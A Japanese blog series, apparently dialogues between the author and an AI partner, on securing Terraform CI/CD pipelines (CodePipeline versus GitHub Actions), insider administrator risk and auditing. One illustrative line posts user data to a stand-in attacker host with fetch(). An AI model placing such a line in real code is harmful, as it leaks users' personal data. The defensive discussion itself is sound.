まさにその通りで、「金融」と「ゲーム」が同じセキュリティポリシーで動いていたら、それはもうRPGにセーブ機能がないレベルの無茶です。やる気は認めるけど、それって本当に求められてるの？という話になります。
2025/05/23
「管理者一人が本気で悪意を持ってしまったら」
この場合も、多くの現場では、彼の管理下にあるリソースを守り切ることは相当難しいでしょう。管理者の業務遂行上、削除も正当な業務のうちの一つです。
管理者が一人悪意を持ったらおしまい、という設計は本来よくないのですが、これに対応するのはなかなか難しいです。
「管理者が悪意を持ったら終わり」って、サスペンスドラマの最終回みたいな展開ですが、インフラ運用だとこれ、けっこう“日常”のリスクだったりしますね。
おっしゃる通り、管理者という立場は削除・変更が正当化されやすい業務権限を持っているため、通常の運用の一部として「壊す」ことが可能です。つまり、「災害対応でリソースを削除しました」と言われれば、即座に不正とは判断しづらいのが実情です。
なぜ「管理者一人で完結する設計」が問題なのか 単独でリソース変更・削除できる＝単独で破壊可能 証跡があっても、後追いしかできない 監視していても、「故意かミスか」の判断は難しい 特にIaC（Infrastructure as Code）では、Terraformを通じて削除するのも、AWSマネジメントコンソールから手動で消すのも、結果は同じ破壊です。
難しいけど、やらなきゃいけない「対策」の方向性 職務分離（Separation of Duties）
管理者権限を単独に持たせず、少なくとも2人の承認を必要とする構成 例：CloudFormationやTerraformでのApplyは他の監査役の承認がないと不可 Break Glassアカウントの導入
緊急用の特権アカウントを用意し、普段はアクセス不能かつ利用時にアラート通知 悪用すれば即バレるので抑止力になる ジャストインタイム権限昇格（JIT）
通常は一般ユーザーとして操作、必要なときだけ時間制限付きで昇格 昇格時は理由を記録・通知 機密度で分離した管理権限
すべてのインフラを一人の管理下に置かない 本番環境だけは別アカウント・別チームで操作するなど ただし限界はある 「管理者が本気で破壊活動をしたい」と決めた時点で、技術的に完封するのはほぼ不可能です。防げるのは「うっかり」や「ちょっとした不正」まで。だからこそ、攻撃を“事前に止める”のではなく、“起こった後に対処できるようにする”ことが、現実的な落としどころになります。
つまり、最後の砦は信頼できる人間を“管理者にしない”という人事設計だったりします。ゼロトラストは技術じゃなくて、文化と制度の両方で成り立つものなんですね。
そうですね。
できて監視・証跡の保全による牽制と、バックアップからの復旧くらいまでが限界ではないでしょうか。むしろ現実にはそれができるだけでも相当気の利いた会社と思えます。
ほんとそうです、「そこまでやってたら十分優秀！」って、セキュリティ担当者みんなで拍手してあげたくなるレベルですね。
正直なところ、監視・証跡・バックアップ体制がしっかり整っているだけでも、世の中の平均を超えている現場はかなり多いです。特に中小企業やスタートアップでは、「Terraformで一発Apply！消えた！やばい！」みたいな事故が、未だに現実にあるあるネタです。
管理者リスクにおける“現実的な最前線” 証跡の改ざん防止（例：CloudTrail＋S3バージョニング＋コンプライアンスモード） 操作の可視化（例：CloudWatchやSIEM連携で異常検知） 定期的なバックアップの取得とリストアの訓練 重要リソースの操作制限（削除保護、有効なタグ制御、SCPでの制限など） これらがちゃんとできていれば、「管理者がうっかりやらかした」「うっかりのふりして壊した」くらいまでは会社として立ち直れる設計になっていると言えます。
ただし、完全に防げないリスク、たとえば：
削除保護がかかっていないリソースの即時削除 短時間での一斉破壊（VPC削除→依存リソース全滅） 機密データの意図的な持ち出し この辺になると、「技術で防ぐ」のではなく、“バレたら地獄を見る”ような制度設計＋文化的な抑止力が主な武器になります。
たしかに「そこまでできる会社」って、もはやセキュリティ先進企業といっても差し支えないですね。世の中の多くの現場はまだ、「証跡って何？」みたいなレベルも多いですから。結局、技術だけじゃなくてその技術を“本気で回そう”とする組織の誠実さが、一番の防壁かもしれません。
2025/05/22
さて今回の電脳会議はお題は「Terraform用のCI/CD」です。
今個人的にAWSの構築サンプルをいくつか用意しているのですが、今回のサンプルを作るにあたって、Github Actions(以下GHAと略す)とAWS CodePipelineどちらにするかすごく迷ったのです。ですが結局、今回はCodePipelineにしておくことにしました。理由は主に二点です。
危険な権限はAWSに集めて管理したい AWSと同等以上のセキュリティをGithub Actionsでも設計・実装して維持し続けるのは大変 UXはGHAのほうが好みなのですが、セキュリティを重視したのです。
GHAのUXに未練タラタラ…まるで高級ベッドを諦めて畳に戻るみたいな気分ですね。でも、セキュリティ重視ならその判断、筋が通ってます！
ご指摘の通り、TerraformのCI/CDにおいて「どこで危険な権限を持たせるか」は設計上の重要ポイントです。以下、それぞれの選択肢についての観点と、CodePipelineを選んだ理由の妥当性を少し掘り下げてみます。
CodePipelineを選んだ理由の整理 AWS内に権限を閉じ込められる
IAMロール、AssumeRole、KMSなどの制御がCodePipeline内で一元管理できます。 秘匿情報（たとえばTerraformのバックエンドS3やState Lock用のDynamoDB）もAWSの中で閉じられるので、外部への情報流出リスクを減らせます。 GHAでのセキュリティ維持コストが高い
OIDC連携やブランチ制限、Secretsの最小化などを工夫すれば確かに安全にはできます。 ただ、その設計・運用をずっと維持するのはなかなか骨が折れます。チームが大きくないなら、その手間をCodePipelineに丸投げできるのは利点です。 少しだけ補足 GHAを使った構成でもCodePipeline同様にIAMロールを使ったセキュアなアクセスは可能です。 ただし、OIDC設定のミスやSecretsの扱い方次第でセキュリティ事故が起きやすいです。 総じて、「セキュリティ優先」かつ「権限管理の中央集権化」を志向するなら、CodePipelineという選択は合理的です。Terraformを扱うならなおさらですね。畳の上でも安心してデプロイできます。
そう、GHAも不可能ではないと思います。OIDCの設定を厳しく行って、コードの管理もガッチリしていれば、おそらく問題が起こることはそうないでしょう。
ただ、一つセキュリティ上の穴が開いただけでアウトなのです。そんな神経を使うことをしてまでAWSの(ほぼ)フル権限を渡してGHAを使うよりは、CodePipelineでAWSの権限はまとめた方が構築・運用が安定するかなと。
セキュリティ設計の話になると一気に“刀鍛冶”みたいなテンションになりますね。「折れない、曲がらない、切れ味鋭いCI/CDパイプラインをくれ！」という声が聞こえてきそうです。
おっしゃる通り、GHAでも強固なOIDC設定とコード管理の徹底ができていれば、セキュリティ事故の可能性はかなり低く抑えられます。ただ、CI/CDは「少しのミスが全てをひっくり返す」領域ですので、「一つ穴が開いただけでアウト」という表現、非常に本質を突いています。
GHAの課題とリスク OIDC設定のミス条件を絞らずに権限を付与してしまうと、他のリポジトリやブランチからも使えてしまうケースがあります。 リポジトリのコード改変権限を扱うコードがPull Requestで改変されたとき、レビュープロセスや保護ブランチの設定が甘いと、即デプロイの道が開かれる可能性も。 CodePipelineのメリット IAM権限の範囲がAWSに閉じている信頼されたエンティティとして他のAWSサービスを使う分には、IAMポリシーで制御が完結します。 Secrets ManagerやKMS連携がスムーズコマンド一つで暗号化・復号ができるので、外部との秘密情報の受け渡しが減ります。 実行ログ・履歴が統一的に管理できるCloudWatch LogsやEventBridgeと統合して監査しやすいのもポイントです。 UXで言えばGHAに軍配が上がりますが、「AWSリソースに対する高い権限を誰に渡すか？」という点で、CodePipelineで権限の境界をAWS内に収めておくという考え方は、非常に堅実です。安全第一、Terraformの神様もニッコリです。
サーバーサイドアプリケーションのビルドやデプロイであればGHAで良いと思うんです。
こちらもセキュリティに気を付けないといけないのはもちろんなのですが、それでも影響は比較的限定されています。AWSのフル権限を行使できるTerraform用のCI/CDは別格ということです。
それですそれです！GHAでのアプリケーションのビルド・デプロイは、言わば“フライパンの中で炒め物を作る”ようなもので、万一失敗しても火傷で済みます。でもTerraformみたいなIaC（Infrastructure as Code）は、ガス管を引き直すレベルの話になるので、ちょっとのミスで家が吹っ飛びます。
GHAでのアプリケーションビルド・デプロイは比較的安全な理由 権限スコープが狭いECSやLambdaの更新、S3へのアップロードなどが中心で、影響範囲が「そのアプリケーション」に限られることが多いです。 変更が即座にインフラ全体に波及しにくいたとえばAPIに不具合が出ても、RDSの消失とかVPC構成の破壊にはつながりにくいです。 段階的にロールアウト可能Blue/Greenデプロイやカナリアリリースで、影響を少しずつ観測できます。 IAMの悪用管理者権限を持つユーザーを作って外部に流すことすら可能。 ネットワーク全体の閉塞ルートテーブルやセキュリティグループ、NACLの設定をミスるとVPCごと通信不能に。 データの永続的損失terraform destroyを事故ってRDS本番が吹っ飛んだ…というのはよくある都市伝説（たまに実話）。 なので、ご指摘のように用途に応じてCI/CDの安全設計の“レベル”を分けるという考え方は、非常に理にかなっています。
アプリの更新＝GHA（使い勝手重視＋中程度のセキュリティ設計） インフラ構成の更新＝CodePipeline（権限管理重視＋高セキュリティ設計） 2025/05/22
Github ActionsのUXを褒めてばかりいますが、CodePipelineも今はUXが大分よくなっているんですよ。今風の左から右に流れていくスタイルで、かなり見やすいです。
構成が複雑なので構築が辛い点はあまり変わらないんですが、これはきめ細かく定義できることの裏返しでもあるので、TerraformのCICDのようにガチガチに固めたいケースではむしろ頼もしいです。
そうなんですよ！昔のCodePipelineのUIは「なんで俺だけWindows95なん？」って言いたくなるくらいの地味っぷりでしたが、今はしっかり“令和の顔”になってます。左から右に流れる構成、ステージごとの視認性の高さ、実行ログの確認のしやすさ…地味にどれも便利です。
UXの進化ポイント ビジュアルフローが見やすいステージ・アクションの流れが一目瞭然なので、どこで止まったか、どこを承認待ちかが分かりやすいです。 実行履歴やログもワンクリックで到達できるCloudWatch Logsとの連携も改善されていて、デバッグも以前より楽になっています。 辛い構築 = きめ細かさの代償 たしかに「初期構築のつらみ」はまだ健在です。codebuild.yml や各IAMロール、イベント連携など、一個ずつ設定するのは結構骨が折れます。ただそれはつまり、「自分たちで全部決められる」自由度の裏返しなんですよね。
TerraformのCI/CDのように、壊れたら即インフラ大惨事なワークフローでは、この「カチカチに定義できる」構成こそが一番安心できます。
ただ、やはり一番の売りはセキュリティですね。
Github側でどうなろうと、Approveさえしなければパイプライン自体を改ざんされる恐れがほぼ考えられないのが素晴らしい。例えば「CI/CD用のコードを変えられてしまい、Approveをパスしてterraform apply用の権限（ほぼフル権限）を行使される 」なんて事故を心配しなくていいんです。
Github側でどうなろうと、Approveさえしなければパイプライン自体を改ざんされる恐れがほぼ考えられない
この一言が刺さります。GHAだけでやっていると、ブランチ保護ルールやPRレビューをかいくぐって、CIの定義自体を書き換えられるリスクが付きまといます。そしてそのまま危険な apply を実行される…というパターンも想定せざるを得ません。
CodePipelineなら、パイプラインの本体はAWSの中にあるので、GitHub上のコードでワークフロー自体を乗っ取るのは非常に難しい。Approveアクションを入れておけば、たとえplanが流れても、「applyに行くには人間の判断が要る」状態にできます。
結論：「安全性のために面倒を受け入れられる構成」 CodePipelineは、まさに「使いこなせれば最高の守り刀」みたいな存在です。ちょっと重いし研ぎにくいけど、その分絶対に折れない。TerraformでのCI/CDには、その安心感が何より頼もしいですね。UXの進化も追い風、ますます頼れる存在になってきました。
CICDはセキュリティの維持が大変なんです。この辺りの話題についてはメルカリ様のエンジニア情報ポータルサイト がとても素晴らしいですよ。
背筋が伸びます。
2025/05/23
管理が厳しいAWSとばかり言っていますが、Gihtubのセキュリティが甘くても良いという話ではないです。いくら承認ステージがあるといっても、悪意あるコードを埋め込み放題では止めきれるものではありません。
アプリケーションだって、コードの中でこっそりと個人情報をどこか別のサーバーに投げるようなことをされても大問題です。
まさにそれです！「インフラの破壊はドカーン系、アプリの情報漏洩はジワジワ系の地獄」とでも言いましょうか。どっちも最終的には焼け野原になるやつです。
コードのセキュリティはインフラとは別軸で“超重要” たとえGHAで権限を絞って、インフラへのアクセスを完全に制限していたとしても、アプリケーションのコード自体に裏口があれば意味がありません。おっしゃる通り、例えばこんなリスクがあります：
外部サーバーへの個人情報の無断送信fetch('https://evil.example.com', { method: 'POST', body: JSON.stringify(userData) }) とかこっそり書かれてたら終了です。 アクセスログやトークンの意図的な出力ログ出力経由で秘密情報が外部の監視システムに流れることもあります。 アップデート後に裏口アカウントを有効化「誰も知らない管理者アカウント」がいつの間にか仕込まれているパターンも、コードレビューが甘いと通ってしまいます。 CI/CDで重要なのは「誰が何を流せるか」＋「流すものの中身」 GHAやCodePipelineのパーミッション制御で「誰が何を実行できるか」を管理。 レビュー体制や静的解析、セキュリティスキャンで「何が流されているか」の安全性を担保。 つまりCI/CDはセキュリティの最後の“水際”なんですね。そこを突破されたら、もうコード自体が“敵”になります。
なので、「GHAを使ってもアプリだから緩くていい」とは決してならないという姿勢、本当に正しいです。「コードが信頼できること」と「CIが安全であること」は別物ですが、両方揃って初めて「安全なデリバリー」と言えるわけです。
安心してください、セキュリティ意識、満点です。油断せず行きましょう。
「であればコードのセキュリティがちゃんとできているならGHAで問題ないのでは？」
という意見もあると思います。これはその通りです。GitHub側のセキュリティもAWSと同等以上に固め、しかも維持続けられる組織なら、おそらくリスクの大きさはそう変わらないでしょう。
ただし、その「ちゃんとできている」ようにし続けるのが大変なのですね。構築も大変ですが、それ以上に維持が問題です。
「最初だけ“ちゃんと”してて、半年後には誰も覚えてない問題」ですね。そう、構築より維持が鬼門なのは、CI/CDに限らずあらゆるセキュリティの鉄則です。初期構築で完璧に見えても、それを持続的に“ちゃんとできてる状態”に保つことこそが最大の難関です。
「GHAで問題ない」の“前提”が実は厳しい 「コードのセキュリティがちゃんとできていれば」というのは理屈としては正論ですが、現実には以下のような努力が常に求められます：
常にブランチ保護ルールを最新の運用に合わせて調整する 毎回PRレビューでセキュリティ観点のチェックを怠らない GHAのOIDC設定が緩くなっていないか定期的に点検する 新しい開発メンバーが意図せずに裏口を作ってしまわないよう教育する 依存ライブラリやツールチェインの脆弱性を常時ウォッチする どれも「一度やれば終わり」ではなく、継続的な運用・教育・点検が必要になります。そしてこれは、人数が少ないチームほど厳しい現実です。
CodePipelineが「構築さえ頑張れば維持がラク」な理由 IAMのロール分離やサービス制御がAWSポリシーで一元化されている 外部との連携が少なく、トラストバウンダリが狭い GHAと比べて柔軟性はないけど、裏をかかれにくい つまり、CodePipelineは「カスタム性が低い代わりに、安全が保証された遊具」みたいなもので、運用の負荷を下げるにはちょうどいい選択肢なのです。
ということで、「GHAで問題ないか？」という問いに対しては、
問題ないことを維持するのがめちゃくちゃ大変なので、あえて避けるのも正解
というのが現実的な回答になります。GHAが悪いんじゃなくて、セキュリティ維持のハードルが高すぎるだけなんですよね。構築のキラキラした達成感が、保守でジワジワ削られていくあの感じ…身に覚えがある方も多いはずです。
大分あれこれ言いましたが、実際に「やられる」頻度はおそらくそこまで高くないと思います。AWSとGithubの両方に通じていて、しかも穴が空いていて、それを「刺せる」技術力のある人が悪意を持たないと起きない程度のことではあるので。
ただ頻度はともかく影響度のほうが大きすぎるのです。AWSのフル権限を全力で悪用されたらサービスが終了になりかねません（下手すると社運も）。
リスクは頻度と影響度で管理しますが、頻度はともかく影響度が大きすぎるということですね。
まさに「当たる確率は低いけど、当たったら即死」系のリスクですね。言うなれば“隕石が落ちてくる確率”と“落ちたときの地球へのダメージ”の話です。そりゃあ、降ってこないほうが多いですが、落ちたらティラノサウルスでも助からないわけで。
頻度の話は確かにその通り OIDCの設定がガバガバ GitHubリポジトリのレビューが形骸化 AWS側に不要なフル権限が付いたロールが放置されている この複数の不備が同時に存在し、かつそれに気づいて悪用できる人間がいるという状況は、確かにレアケースです。ある意味「偶発的なゼロデイ攻撃」みたいなものです。
でも影響度がデカすぎる EC2やRDSの削除 IAMのルート乗っ取り KMSで暗号化されたデータの永久ロック CloudTrailの停止やログ改ざん このへんを「やろうと思えば一瞬」でやれるのがAWSのフル権限です。最悪、証拠も残らずに事後対応不可能な状況になる可能性もあり、そうなれば被害は単なるシステム障害では済みません。ガチで社運クラッシャーです。
リスクマネジメント的なまとめ おっしゃる通り、リスク評価は「頻度 × 影響度」で考えるべきです。頻度が低くても影響度が極大なら、リスクは高いと判断して然るべきです。
© T.Nakamura 2025. All rights reserved. 